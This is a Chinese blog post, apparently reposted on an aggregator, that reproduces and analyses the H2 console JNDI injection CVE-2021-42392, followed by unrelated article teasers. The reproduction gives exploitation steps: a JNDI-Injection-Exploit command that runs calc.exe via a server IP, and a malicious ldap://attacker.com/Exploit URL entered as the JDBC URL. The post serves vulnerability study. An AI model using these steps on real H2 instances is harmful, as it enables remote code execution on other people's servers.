Sangfor华东天勇战队:h2数据库console命令执行( CVE-2021-42392 漏洞)

漏洞版本

1.1.100 <= H2 Console <= 2.0.204

漏洞复现

此处复现版本1.4.197
启动项目如下
在这里插入图片描述

在Driver Class中输入javax.naming.InitialContext
在JDBCURL中输入jndi注入恶意链接
在这里插入图片描述
生成链接命令:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C calc.exe -A 服务器ip

因为项目环境是jdk1.7,因此我们用1.7的jndi,其他版本均不生效

漏洞分析

通过漏洞公布,可以看到是在org.h2.util.JdbcUtils.getConnection的javax.naming.Context出问题的
在这里插入图片描述告诉我们只需要提供一个javax.naming.InitialContext作为driver class和提供一个ldap://attacker.com/Exploit恶意的url即可远程命令执行

那么我们看看代码,找到问题所在处下断点org.h2.util.JdbcUtils
在这里插入图片描述

到311行弹出计算器
下断点后,我们可以看到整体调用栈,从下往上的顺序,那么我们逆着来
首先这里isAssignableFrom
A.isAssignableFrom(B) 确定一个类(B)是不是继承来自于另一个父类(A)
那么也就是说这里判断d是不是javax.naming.Context的类或者子类,d来自290行,用loadUserClass自定义的类加载
在这里插入图片描述
可以看到class javax.naming.InitialContext是javax.naming.Contex的子类,因此进入if
在这里插入图片描述
按照审计思路来看,先不调试跟踪
因为context.lookup(url)在org.h2.util.JdbcUtils#getConnection中
那么查看getConnection调用
在这里插入图片描述
根据调用栈顺序,我们进入到org.h2.server.web.WebServer#getConnection方法,如下
在这里插入图片描述
那么我们继续找getConnection的调用
在这里插入图片描述
进入org.h2.server.web.WebApp#test
在这里插入图片描述
继续找test的调用
在这里插入图片描述
进入org.h2.server.web.WebApp#process方法
在这里插入图片描述
找process调用
在这里插入图片描述
进入org.h2.server.web.WebApp#processRequest方法
在这里插入图片描述
在这里插入图片描述
进入org.h2.server.web.WebThread#process方法
在这里插入图片描述
查看process调用
在这里插入图片描述
进入org.h2.server.web.WebThread#run方法
在这里插入图片描述
那么到run就结束了,可以看到通过javax.naming.InitialContext来进入if,来调用lookup来触发我们的恶意url,用WebThread线程类来处理

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/12.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

iPhone手机如何添加桌面便签软件小组件?

iPhone手机的小组件功能受到了很多用户的喜爱&#xff0c;它可以让用户更加快捷的查看到APP里面的部分相关内容。这项功能和便签软件结合起来之后&#xff0c;甚至能产生1加1大于二的效果。那么iPhone手机如何添加桌面便签软件小组件呢&#xff1f;以iPhone手机端敬业签桌面便签…

ElasticSearch-Kibana的安装

Kibana的安装 什么是ELK? ELK是Elasticsearch,Logstash,Kibana三大开源框架首字母大写简称,ELK属于大数据,是拆箱即用的,上手比较快 什么是Kibana? Kibana是一个针对ES的开源分析以及可视化平台,用来搜索,查看交互存储在ES索引中的数据,使用Kibana可以通过各类图标进行高级…

C#复制构造函数学习

通过从另一个对象复制变量或将一个对象的数据复制到另一个对象来创建对象的构造函数称为复制构造函数。 复制构造函数是一个参数化构造函数&#xff0c;包含相同类类型的参数。它的主要用途是将新实例初始化为现有实例的值。 using System;namespace Mytest{class User {publi…

CASAIM三维扫描仪在运动防护的应用高端运动器材设计定制器材头盔

CASAIM三维扫描技术在运动防护领域有广泛的应用&#xff0c;可以帮助设计和生产高端运动器材&#xff0c;检测运动器材适配性&#xff0c;以提供更好的运动防护。 CASAIM三维扫描仪可以将运动员的身体尺寸和形状精确地捕捉下来&#xff0c;以便制造出符合其个人需求的定制化器…

服务启动后能ping通但无法访问

近期业务需要&#xff0c;重启了服务器&#xff08;centos 7.4&#xff09;&#xff0c;但是各类服务启动后&#xff0c;仍然无法访问&#xff0c;Nginx的白页面都访问不到&#xff0c;能ping通&#xff0c;nslookup 域名解析也没问题&#xff0c;考虑是防火墙 -- 查看防火墙启…

生物科学大模型调研

生物大模型竞品调研 1 概念分类 大模型&#xff1a;大模型通常指的是参数量较大、层数较深的机器学习模型&#xff0c;例如深度神经网络。这些模型具有大量的可训练参数&#xff0c;通过在大规模数据集上进行训练&#xff0c;能够更好地捕捉数据中的复杂模式和特征。大模型在各…

Java启动项目时,控制台报端口被占用,解决办法

端口占用一般是现在有别的程序正在使用该端口 第一步可以先查出来是哪个程序在占用&#xff1a; netstat -aon | find "8113" //8113为被占用的端口号 此时的结果是这样的&#xff0c;查询出来的为占用此端口程序的PID&#xff08; 25472 &#xff09; 然后根据…

给若依添加单元测试(二)

给若依添加单元测试 方案一&#xff08;简单&#xff09; 方案二&#xff08;异常困难但企业开发一般用这个&#xff09; 在 activity 子模块中添加单元测试 S1.在 src 目录下创建 test.java.MapperTests 文件 S2.将以下内容复制进去 import com.ruoyi.activity.Activity…

6个ChatGPT4的最佳用途

文章目录 ChatGPT 4’s Current Limitations ChatGPT 4 的当前限制1. Crafting Complex Prompts 制作复杂的提示2. Logic Problems 逻辑问题3. Verifying GPT 3.5 Text 验证 GPT 3.5 文本4. Complex Coding 复杂编码5.Nuanced Text Transformation 细微的文本转换6. Complex Kn…

校园网WiFi IPv6免流上网

ipv6的介绍 IPv6是国际协议的最新版本&#xff0c;用它来取代IPv4主要是为了解决IPv4网络地址枯竭的问题&#xff0c;也在其他很多方面对IPv4有所改进&#xff0c;比如网络的速度和安全性。 IPv4是一个32位的地址&#xff0c;随着用户的增加在2011年国家报道说IPv4的网络地址即…